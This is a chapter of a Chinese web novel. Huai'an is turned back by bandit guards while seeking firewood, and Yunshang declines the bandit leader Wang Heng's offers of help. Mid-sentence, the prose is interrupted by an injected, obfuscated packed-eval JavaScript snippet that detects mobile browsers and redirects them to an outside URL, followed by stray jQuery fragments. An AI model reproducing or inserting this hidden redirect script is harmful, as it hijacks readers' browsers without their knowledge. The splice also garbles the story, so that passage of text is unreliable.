淮安不知沈嬷嬷心中盘算,当晚与小皇子约好,次日一早用过早饭便出了门。
淮安自打倒座房里看守的人离开后,就再没出过二进院的大门。
这厢她前脚刚踏出大门,后手还没来得及关上,就感觉到无数道目光落在自己身上——
如芒在背。
想起沈嬷嬷的叮嘱,淮安立刻收敛神色,刻意佝偻身子,本就气场温和的人,此刻这般,更显唯唯诺诺、胆小怕事。
她脚后跟都不敢落地,小碎步跑过周围的田地,在田埂边慌忙寻到一个面善的老妇,抖着身体走过去,颤着声音道:“婆、婆婆您好,我叫淮安,出来砍柴。”
她有意无意地露出手掌与豁了口的鞋子里的脚趾,好让他们看清上面的冻疮痕迹。
“去年冬日太冷,柴禾不够,我们险些冻死……想求您,借一把斧头。”怕对方不肯,她又连忙补了一句,“锋利些的石头也行。”
老妇了然,叹道:“去年确是冷得厉害,你那倒座房里的牙婆,不就冻殁了。”
她可怜着淮安,脸上的皱纹却更深了,说出的话也是不中听的,“我没有斧头,也没有利石。”
淮安脸上露出明显的失望:“即便如此,还是多谢婆婆了。您忙着,我再去问问旁人。”
“别慌走。”
老妇叫住她,“我告诉你一处好去处。去年雪大,今夏雨水又多,前几日山洪暴发,上游冲下不少枯木,都积在后山山涧里。如今寨里人要屯柴,都拿着竹耙去水里捞,我儿子儿媳也去了,省得进山遭罪。”
她对淮安道:“你也去那里搂吧,我没斧头,但多的是有竹耙子。”
淮安眼中微亮,正要应声,忽又想起什么,神色黯淡下去:“这是山林庇佑寨中之人,我一个外人怎好去占这便宜。还是多谢婆婆,我再去别处问问吧。”
打听出来龙去脉,老妇满意了,不再拦她:“也行吧。”
淮安沿着田埂,又去问了几位在田中拔草的妇人。
一路问下来,既无人肯借斧头,也无人敢指给她进山的路。
余光瞥到几百来步外的山林,淮安苦着脸,试探地踏出田地,朝后山的密林走,结果刚踏出半步,如芒在背立马变成芒刺在心。
她能感觉到身前身后,乃至头顶都有人盯着她,紧紧地。
淮安恍若未觉地又走了十来步,终被一队巡逻士卒喝住。
“站住!你是何人,意欲何为?”
淮安将先前对老妇们的说辞,又对领头之人复述一遍。
这队人姓王,归王横管辖。
领头的自然知道二进院中有淮安这号人,也清楚王横划定的范围,当即冷声道:“不准去。”
淮安心头一沉,面上依旧苦巴巴:“云裳姑娘已回二进院,只我一人在外,也不行吗?”
“不行!”领头人心硬如铁,“三首领有令,你们出二进院,只许直奔他家,其余路线,皆不可活动。”
他执矛横挡,矛尖对准淮安的肩头,厉声警告:“回去!再不回去,休怪我不客气。”
淮安浑身一颤,缩着脖子连连应声:“我回去,我这就回去……”
她慌慌张张、脚步踉跄地跑回了二进院。
这番动静,很快便有人禀报给王横。
王横正在清点山寨粮仓,闻言眉头紧蹙。
望着尚未清点完的粮食,想了想,他选择加快速度,掐着云裳做好午饭、提着食盒回二进院的时辰,赶至自家灶房。
彼时云裳正盛饭入盒,天光敞亮,王横清晰看见她双手上的冻伤痕迹——
他从前只当是冬日寻常冻害,未曾想背后竟藏着这般险些冻毙的隐情。
云裳余光瞥到王横的影子,心中暗忖他必是为淮安外出砍柴一事而来,正盘算如何劝他松口,放淮安进山。
“为何不告诉我,你们柴禾不够烧?”
王横突然出声打断了云裳的思绪。
“手下人说,你们去年冬天险些冻死。你来做饭时,撞见我那么多回,为何一次不提?”
王横又问一遍,语气急促,带着几分咄咄逼人的意味。
云裳面露窘迫,轻声道:“是淮安出门捡柴的事,叫三首领知晓了吧。实在抱歉。我们白吃了三年饱饭,又蒙您派人送来许多柴禾,已是感激不尽。不够的,我们自己想办法补上便是。”
“谁说你是吃白饭的?”王横皱眉。
自沈皇后离世,云裳一行人继续来王家做饭后,不仅柴禾需自劈,连粮食都要自淘。偶尔王家农活繁忙,云裳还要顺带做上他们的一份。
是以近一年来,云裳每日回院的时辰越来越晚,却从不敢推辞,连一丝怨怼都不敢流露,生怕被经常过来视察的王横发觉——
沈舒华已离任,王横又性情中人,万一因此生了气,一怒之下,杀了小皇子……真到那时,她也不用活了。
云裳恭顺道:“三首领指的,是奴婢给您府上做饭一事吧。这本就是奴婢分内之事。”
王横话锋一转:“那你给我上药,也是分内?”
云裳一怔。
她素来和善,宫中宫人多愿与云裳亲近,连太医院的内侍都愿传她止血秘方。
秘方配方草药均是寻常,山林间就可以采到,云裳就拜托刘御医差使山寨中人去寻草药时,也帮她找一些回来,然后仔细挑拣,炮制再碾碎,做成效用极佳的止血药包。
去岁夏日,王横下山劫掠,身受重伤而归,云裳来做饭时,恰好赶上这一幕。
听见有人道“一换药,便血崩”的话,云裳若有所思。
回二进院的路上,正巧碰到王竖拖拽刘御医而来,地利与人和皆有,云裳再按捺不住自看到王横受伤就疯狂涌现的主意。
与刘御医擦身而过的瞬间,云裳点了点他的药箱,不出所料,未及一刻钟,便见到王竖谴来寻她要草药的人。
云裳主动提出随那人一起过去。
沈嬷嬷见状也未拦着,只对云裳道:“可得尽心。”
“是。”
见到云裳和她提来的药包,王竖当即要让刘御医为王横敷药。
他们一行人的身家性命都尽在他一念之间,王竖不怕云裳会趁机下毒。
“大哥,凡事讲究从一而终,是云裳拿来的药,就应该由她来敷。”
王横趴在床上,声音有些虚:“从始至终只有一个人碰草药,到时我若有个三长两短,也不怕找不到凶手。”
他这样讲,云裳立刻开口:“三首领但请放心,奴婢不敢起丝毫歹念。”
王横气息稍振,横眉道:“你说我便信?当我是三岁孩童?”
云裳忙道:“奴婢不敢。”
“不敢?”王横脸色一沉,“不敢还一再推辞,不肯给我上药?心口不一,嫌弃我?”
云裳险些又脱口而出“不敢”,瞥见王横不耐的神色,及时咽了回去。
可她心中确实别扭——
云裳是皇后身边近身大宫女,便是皇上,也不曾在她面前这般袒露肌肤。
其实王横让云裳给他上药,纯属内心不平衡,还夹杂着丝丝委屈。
这两年不说别的,他明里暗里地照顾她多少回,她一个皇后身边的大宫女,他不信她这份眼力见儿都没有,结果她是怎么对他的?
两年下来,喂狼都喂熟了,她却依旧对自己不冷不热的,此刻连上药都不肯,这不纯纯白眼狼吗?
王横深谋远虑,为不养狼为患,索性逼她一回,权当让她报恩。
可当云裳的指尖落在他背上,王横心头却莫名乱动。这是她第一次碰他,也是他第一次被女子这般近身照料。
仗着眼角大,王横稍一侧头余光就看到云裳敷药的专注小心神情,心奇异地由躁动转变为软,她应该是怕伤到他,才这么认真的。
算她不是白眼狼,且饶她这一回,再没有下次的。
王横闭上眼睛,全心享受云裳的亲手服务。
有顷,云裳收手,伤口果然不再渗血。
王竖见王横动作稍大也未崩血,终于松了口气,心道:云裳的确乖觉。
王横年轻气盛又身强体壮,不过半月,背后的伤便愈合得七七八八。
能下床走路的那天,王横专门算着云裳做饭的点,来灶房寻她。
后背止住血后,云裳再没来过,王横此番过来,打的是感谢她的名号,要给她劈柴烧火。
当然,他不可能低声下气地说要如何如何报答她,只道:“我从不欠人人情。”
云裳道:“三首领言重了,不过几包
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17410270|200657||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
草药,谈不上亏欠。”
王横挑眉:“那日后我再受伤,都让你敷药,也算不欠?”
他不知,这话正中云裳下怀。
云裳当时让刘御医给王家人透露她有止血秘法,打的就是根据药草的使用时间和用量,来推断王横下山劫掠的时间与难易的主意。
她知道凭借王横对她的男女之间的好感,他会对她说这话,意料之中,但可不想王横在灶房碍事,自己虽然现在不会对王家人的吃食动手脚,但难保之后不会,若是王横在,下料难度肯定会倍增。
云裳略一沉吟,道:“既如此,三首领可否以粮食为酬?”
沈皇后去后,她们伙食一日不如一日,淮安已有半年未曾吃饱,近来又勤练武艺,小脸更是消瘦得厉害。
王横第一反应便是皱眉:“你吃不饱?”
有他看着,竟还能饿肚子?
云裳依旧恭顺:“托三首领福,尚能饱腹。”
“那为何要粮食?”
王横其实更想问,她为何不要自己替她劈柴。
她这么瘦,每次拿着大斧头砍柴时,他都看得提心吊胆,生怕她一个不注意就伤了自己——
他早就后悔最初把难劈的柴火都留给云裳了。
王横才不会承认是云裳不肯求助于他的原因。
反正当时云裳出门做饭未至半月,王横每次都在前夜,把难劈的劈完,留下好劈的——
他才不会给她劈柴。
劈柴耗时,她自己劈,他能多见她一会儿。
不过现在她若是要他劈柴报答,王横倒可以“勉为其难”地答应,让她在一旁看着他有多云淡风轻地劈柴。
云裳不知王横心中的弯弯绕绕,即便知道,也不会开口。
沈嬷嬷不许,淮安不愿,她自不会在事情尚有转圜余地时,与王横过多牵扯。
此刻听到王横的问话,云裳只简要答道:“有备无患。”
王横眼底含笑,嘴上偏道:“别说得这么谨慎小心,我又不缺你吃喝,分明是精明算计,粮食可比柴火值钱多了。”
云裳面色不改地道:“您是真心报答,我也是真心想让您的真心落到我真心更需要的地方。”
王横:“……”
他说不过云裳,也怕她连用几个“真心”是真的吃不饱,但不敢提出来,干脆顺了她的意。
此后每次王横让云裳帮忙上药,都送她十斤精米。
这些米粮皆由沈嬷嬷保管,一部分留作逃亡之用,一部分则悄悄给淮安补身子。
沈嬷嬷如今心思,与当年沈皇后教导淮安时一般无二——
小皇子能否回宫,全系在淮安身上,便不再乎这一点米粮。
思绪拉回,云裳迎着王横的目光,轻声道:“三首领已有酬谢。敷药之事,您以粮食相赠,并不欠奴婢什么。冬日柴禾用量甚大,不敢再劳烦您与手下,便让淮安去吧。”
云裳说实话去岁冬日是真想找过王横的,可还是那句话,沈嬷嬷与淮安不想她求人,而他们的确也都活了下来。
王横一腔热意,接连被她推拒数次,脸色渐渐沉下:“你确定不要我帮忙?”
他语气很重,像是下了最后通牒。
“砍柴远比劈柴辛苦十倍。”王横沉声道,“山中虫蚁毒蛇、熊罴虎豹,更暗藏深坑,不熟路径之人,一步不慎便是性命之忧。你确定,还要让她去?”
云裳交握在身前的手紧了紧,却依旧坚持道:“已多番麻烦三首领,不敢再有所求。”
王横眼不眨地睨着云裳的脸,见她神色恳切、全无半分假意,心情突然好了些,脱口而出:“我让你求。”
他言简意赅,语气是理所应当,眼神是真情实意。
云裳垂眸,眼底古井无波,还是原先那句话:“多谢三首领好意,还是让淮安去吧。”
霎时,王横的脸彻底沉了下来。
他一而再、再而三地退让示好,她却始终疏离推拒。
她既不稀罕他的照拂,他又何必上赶着,真以为他一个山寨三首领整日闲的没事,来给她贴冷屁股的?
面无表情,王横冷声道:“随便你吧。反正你自己的姐妹你自己疼。”
云裳福身真诚道谢。
王横沉脸转身离开。